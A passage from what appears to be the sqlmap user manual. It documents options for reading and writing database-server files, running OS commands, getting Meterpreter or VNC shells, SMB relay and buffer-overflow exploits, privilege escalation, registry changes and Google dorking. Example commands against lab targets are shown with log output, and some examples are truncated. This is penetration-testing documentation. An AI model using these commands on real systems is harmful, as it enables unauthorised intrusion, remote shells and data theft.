### Read a file from the database server's file system

Option: `-``-read-file`

It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a text or a binary file. sqlmap will handle it automatically.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example on a PostgreSQL 8.3.5 target to retrieve a text file:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
>       --read-file "C:\example.txt" -v 2

### Write a local file on the database server's file system

Options: `-``-write-file` and `-``-dest-file`

It is possible to upload a local file to the database server file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a text or a binary file. sqlmap will handle it automatically.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example on a MySQL 5.0.67 target to upload a binary UPX-compressed file:

> `

>     $ file /tmp/nc.exe.packed
>     /tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

## 5.10 Operating system access

### Execute arbitrary operating system command

Options: `-``-os-cmd` and `-``-os-shell`

It is possible to execute arbitrary commands on the underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, `sys_exec()` and `sys_eval()`, then it creates these two functions on the database and call one of them to execute the specified command, depending on the user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the `xp_cmshell` stored procedure: if it's disabled, sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch.

If the user wants to retrieve the command standard output, sqlmap will use one of the enumeration SQL injection techniques (blind or inband) to retrieve it or, in case of stacked query SQL injection technique, sqlmap will execute the command without returning anything to the user.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

It is possible to specify a single command to be executed with the `-``-os-cmd` option.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \

It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is `-``-os-shell` and has the same TAB completion and history functionalities like `-``-sql-shell`.

As you can see from this second example, sqlmap firstly check if the two user-defined functions are already created, if so, it asks the user if he wants to recreate them or keep them and save time.

### Prompt for an out-of-band shell, Meterpreter or VNC

Options: `-``-os-pwn`, `-``-priv-esc`, `-``-msf-path` and `-``-tmp-path`

It is possible to establish an out-of-band stateful TCP connection between the user machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

- Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function `sys_bineval()`. Supported on MySQL and PostgreSQL.
- Upload and execution of a Metasploit's stand-alone payload stager via sqlmap own user-defined function `sys_exec()` on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server.
- Execution of Metasploit's shellcode by performing a SMB reflection attack ( MS08-068) with a UNC path request from the database server to the user's machine where the Metasploit `smb_relay` server exploit runs.
- Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 `sp_replwritetovarbin` stored procedure heap-based buffer overflow ( MS09-004) with automatic DEP bypass.

Note that this feature is not supported by sqlmap running on Windows because it relies on Metasploit's `msfcli` which is not available for Windows.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

By default MySQL on Windows runs as `SYSTEM`, however PostgreSQL runs as a low-privileged user `postgres` on both Windows and Linux. Microsoft SQL Server 2000 by default runs as `SYSTEM`, whereas Microsoft SQL Server 2005 and 2008 run most of the times as `NETWORK SERVICE` and sometimes as `LOCAL SERVICE`.

It is possible to provide sqlmap with the `-``-priv-esc` option to perform a database process' user privilege escalation via Metasploit's `getsystem` command which include, among others, the kitrap0d technique ( MS10-015) or via Windows Access Tokens kidnapping by using Meterpreter's incognito extension.

Example on a Microsoft SQL Server 2005 Service Pack 0 running as `NETWORK SERVICE` on the target:

### One click prompt for an out-of-band shell, meterpreter or VNC

Options: `-``-os-smbrelay`, `-``-priv-esc` and `-``-msf-path`

If the back-end database management system runs on Windows as `Administrator` and the system is not patched against Microsoft Security Bulletin MS08-068, sqlmap can abuse the universal naming convention (UNC) feature within any database management system to force the database server to initiate a SMB connection with the attacker host, then perform a SMB authentication relay attack in order to establish a high-privileged out-of-band TCP stateful channel between the attacker host and the target database server. sqlmap relies on Metasploit's SMB relay exploit to perform this attack. You need to run sqlmap as a privileged user (e.g. root) if you want to perform a SMB relay attack because it will need to listen on a user-specified SMB TCP port for incoming connection attempts.

Note that this feature is not supported by sqlmap running on Windows platform because it relies on Metasploit's `msfpayload` which is not fully working on Windows.

This technique is detailed in the white paper Advanced SQL injection to operating system full control.

Example on a Microsoft SQL Server 2005 Service Pack 0 running as `Administrator` on the target:

### Database stored procedure heap-based buffer overflow exploit

Options: `-``-os-bof`, `-``-priv-esc` and `-``-msf-path`

If the back-end database management system is Microsoft SQL Server not patched against Microsoft Security Bulletin MS09-004, sqlmap can exploit the heap-based buffer overflow affecting `sp_replwritetovarbin` stored procedure in order to establish an out-of-band TCP stateful channel between the attacker host and the target database server. sqlmap has its own exploit to trigger the vulnerability, but it relies on Metasploit to generate the shellcode used within the exploit.

Note that this feature is not supported by sqlmap running on Windows platform because it relies on Metasploit's `msfcli` which is not available for Windows.

This technique is detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

Example on a Microsoft SQL Server 2005 Service Pack 0 target:

> `

>     $ python sqlmap.py -u http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1 \

## 5.11 Windows registry access

It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the underlying database layer supports stacked SQL queries. Also, session user has to have the needed privileges to access it.

### Read a Windows registry key value

Option: `-``-reg-read`

Using this option you can read registry key values.

Example on a PostgreSQL 8.4 target:

> `

>     $ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-read

>     [...]
>     web server operating system: Windows
>     web application technology: PHP 5.3.1, Apache 2.2.14
>     back-end DBMS: PostgreSQL

>     [hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
>     [hh:mm:15] [INFO] detecting back-end DBMS version from its banner
>     [hh:mm:15] [INFO] retrieved: 8.4.2,
>     [hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
>     [hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
>     [hh:mm:23] [INFO] retrieved: 1
>     [hh:mm:23] [INFO] the back-end DBMS operating system is Windows
>     [hh:mm:23] [INFO] testing if current user is DBA
>     [hh:mm:23] [INFO] retrieved: 1
>     [hh:mm:23] [INFO] checking if UDF 'sys_eval' already exist
>     [hh:mm:23] [INFO] retrieved: 0
>     [hh:mm:24] [INFO] checking if UDF 'sys_exec' already exist
>     [hh:mm:24] [INFO] retrieved: 0
>     [hh:mm:25] [INFO] creating UDF 'sys_eval' from the binary UDF file
>     [hh:mm:25] [INFO] creating UDF 'sys_exec' from the binary UDF file
>     which registry key do you want to read? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
>     CurrentVersion]
>     which registry key value do you want to read? [ProductName]
>     [hh:mm:34] [INFO] reading Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
>     Windows NT\CurrentVersion\ProductName'
>     [hh:mm:35] [INFO] retrieved: ProductName        REG_SZ  Microsoft Windows XP
>     Registry key value data:    'ProductName        REG_SZ  Microsoft Windows XP'

> `

### Write a Windows registry key value

Option: `-``-reg-add`

Using this option you can write registry key values.

Example on a PostgreSQL 8.4 target:

> `

>     $ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add

>     [...]
>     web server operating system: Windows
>     web application technology: PHP 5.3.1, Apache 2.2.14
>     back-end DBMS: PostgreSQL

>     [hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
>     [hh:mm:20] [INFO] detecting back-end DBMS version from its banner
>     [hh:mm:20] [INFO] retrieved: 8.4.2,
>     [hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
>     [hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
>     [hh:mm:29] [INFO] retrieved: 1
>     [hh:mm:30] [INFO] the back-end DBMS operating system is Windows
>     [hh:mm:30] [INFO] testing if current user is DBA
>     [hh:mm:30] [INFO] retrieved: 1
>     [hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
>     [hh:mm:30] [INFO] retrieved: 0
>     [hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
>     which registry key do you want to write? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
>     which registry key value do you want to write? Test
>     which registry key value data do you want to write? 1
>     which registry key value data-type is it? [REG_SZ] REG_DWORD
>     [hh:mm:41] [INFO] adding Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'
>     with data '1'. This will work only if the user running the database process has privileges
>     to modify the Windows registry.

> `

### Delete a Windows registry key

Option: `-``-reg-del`

Using this option you can delete registry keys.

Example on a PostgreSQL 8.4 target:

> `

>     $ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-del

>     [...]
>     web server operating system: Windows
>     web application technology: PHP 5.3.1, Apache 2.2.14
>     back-end DBMS: PostgreSQL

>     [hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
>     [hh:mm:20] [INFO] detecting back-end DBMS version from its banner
>     [hh:mm:20] [INFO] retrieved: 8.4.2,
>     [hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
>     [hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
>     [hh:mm:29] [INFO] retrieved: 1
>     [hh:mm:30] [INFO] the back-end DBMS operating system is Windows
>     [hh:mm:30] [INFO] testing if current user is DBA
>     [hh:mm:30] [INFO] retrieved: 1
>     [hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
>     [hh:mm:30] [INFO] retrieved: 0
>     [hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
>     which registry key do you want to delete? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
>     which registry key value do you want to delete? Test
>     are you sure that you want to delete the Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\
>     sqlmap\Test? [y/N] y
>     [hh:mm:26] [INFO] deleting Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'.
>     This will work only if the user running the database process has privileges to modify the
>     Windows registry.

> `

### Auxiliary registry switches

Options: `-``-reg-key`, `-``-reg-value`, `-``-reg-data` and `-``-reg-type`

These switches can be used to provide data needed for proper running of options `-``-reg-read`, `-``-reg-add` and `-``-reg-del`. So, instead of providing registry key information when asked, you can use them at command prompt as program arguments.

With `-``-reg-key` option you specify used windows registry key path, with `-``-reg-value` value item name inside provided key, with `-``-reg-data` value data, while with `-``-reg-type` option you specify type of the value item.

So, another way of running example from option `-``-reg-add` could be:

> `

>     $ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add \
>       --reg-key=HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap --reg-value=Test --reg-type=REG_SZ --reg-data=1

> `

## 5.12 Miscellaneous

### Session file: save and resume all data retrieved

Option: `-s`

By default sqlmap logs all queries and their output into a text file while performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time.

The default session file is `output/hostname/session`, but you can change its path with the `-s` option.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
>       -v 2 -s "sqlmap.log"

>     [...]
>     back-end DBMS:  PostgreSQL
>     [hh:mm:02] [DEBUG] query: VERSION()
>     [hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
>     [hh:mm:03] [ERROR] user aborted

> `

As you can see, I stopped the injection with `CTRL-C` while retrieving the PostgreSQL banner and logged the session to text file `sqlmap.log`.

> `

>     $ cat sqlmap.log

>     [hh:mm:00 MM/DD/YY]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
>     [http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5
>     on i486-pc-

> `

As you can see, all queries performed and their output have been logged to the session file in real time while performing the injection.

The session file has a structure as follows:

> `

>     [hh:mm:ss MM/DD/YY]
>     [Target URL][Injection point][Parameters][Query or information name][Query output or value]

> `

Performing the same request now, sqlmap resumes all information already retrieved then calculates the query length, in the example `VERSION()`, and resumes the injection from the last character retrieved to the end of the query output.

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
>       -v 2 -s "sqlmap.log"

### Flush session file for current target

Option: `-``-flush-session`

As you are already familiar with the concept of a session file from the description of option `-s`, it is good to know that you can flush the content of that same file using option `-``-flush-session`. This way you can avoid caching mechanisms implemented by default in sqlmap. Other possible way is the manual removing of session file(s), `sqlmap.log` in the example above, or the default `output/hostname/session` if `-s` is not provided.

### Estimated time of arrival

Option: `-``-eta`

It is possible to calculate and show the estimated time of arrival to retrieve each query output in real time while performing the SQL injection attack.

Example on an Oracle XE 10.2.0.1 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b \
>       --eta -v 2

As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved query output characters.

### Use Google dork results from specified page number

Option: `-``-gpage`

Default sqlmap behavior with option `-g` is to do a Google search and use resulting urls from first (100) result page for further sql injection testing. In combination with this option you can specify some other page other than the first one for retrieving target urls.

Example of Google dorking with expression `login ext:php` and resulting page set to 3:

> `

>     $ python sqlmap.py -g "ext:php login" --gpage 3 -v 1

>     [hh:mm:14] [INFO] first request to Google to get the session cookie
>     [hh:mm:14] [INFO] using Google result page #3
>     [hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are
>     testable targets
>     [hh:mm:15] [INFO] sqlmap got a total of 89 targets
>     url 1:
>     GET http://www.XXX.com/index.php?pageid=login
>     do you want to test this url? [Y/n/q]

### Update sqlmap

Option: `-``-update`

Using this option you can update the program to the latest version directly from the Subversion repository along with the latest Microsoft SQL Server XML versions file from Chip Andrews' SQLSecurity.com site.

> `

>     $ python sqlmap.py --update

>     [...]
>     [hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository
>     [hh:mm:28] [INFO] updated to the latest revision XXXX
>     [hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file
>     [hh:mm:33] [INFO] no new Microsoft SQL Server versions since the last update
>     [...]

> `

The Debian and Red Hat installation packages (deb and rpm) as well as the Windows binary package (exe) can not be used to update sqlmap. You need a source package (gzip, bzip2 or zip) to use this feature.

### Save options in a configuration INI file

Option: `-``-save`

It is possible to save the command line options to a configuration INI file.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
>       -v 1 --save

>     [hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf'
>     configuration file
>     [hh:mm:33] [INFO] testing connection to the target url
>     [hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
>     [...]

> `

As you can see, sqlmap saved the command line options to a configuration INI file, `sqlmap-SAUbs.conf`.

> `

>     $ cat sqlmap-SAUbs.conf

The file is a valid sqlmap configuration INI file. You can edit the configuration options as you wish and pass it to sqlmap with the `-c` option as explained above in section 5.2.5:

> `

>     $ python sqlmap.py -c sqlmap-SAUbs.conf

>     [...]
>     banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
>     (Ubuntu 4.3.2-1ubuntu11) 4.3.2'

> `

### Act in non-interactive mode

Option: `-``-batch`

If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can force it by using `-``-batch` option, and leave sqlmap to go for a default behaviour.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
>       --batch -v 1

>     [...]
>     [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
>     [hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
>     [hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
>     [hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
>     [hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
>     [hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
>     [hh:mm:22] [INFO] GET parameter 'name' is dynamic
>     [hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
>     [hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
>     [hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
>     [hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
>     [hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
>     [hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
>     [hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
>     ahead:
>     [0] place: GET, parameter: id, type: numeric (default)
>     [1] place: GET, parameter: name, type: stringsingle
>     [q] Quit
>     Choice: 0

As you can see, sqlmap by default chose the injection payload to the first vulnerable parameter.

### Cleanup the DBMS by sqlmap specific UDF(s) and table(s)

Option: `-``-cleanup`

It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done with owning the underlying operating system or file system.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/iis/get_int.aspx?id=1" \
>       -v 2 --cleanup

>     [...]
>     [hh:mm:18] [INFO] cleaning up the database management system
>     [hh:mm:18] [DEBUG] removing support tables
>     [hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile
>     [hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput
>     do you want to remove sys_exec UDF? [Y/n]
>     [hh:mm:20] [DEBUG] removing sys_exec UDF
>     [hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text)
>     do you want to remove sys_eval UDF? [Y/n]
>     [hh:mm:21] [DEBUG] removing sys_eval UDF
>     [hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text)
>     [hh:mm:21] [INFO] database management system cleanup finished
>     [hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can
>     only be deleted manually
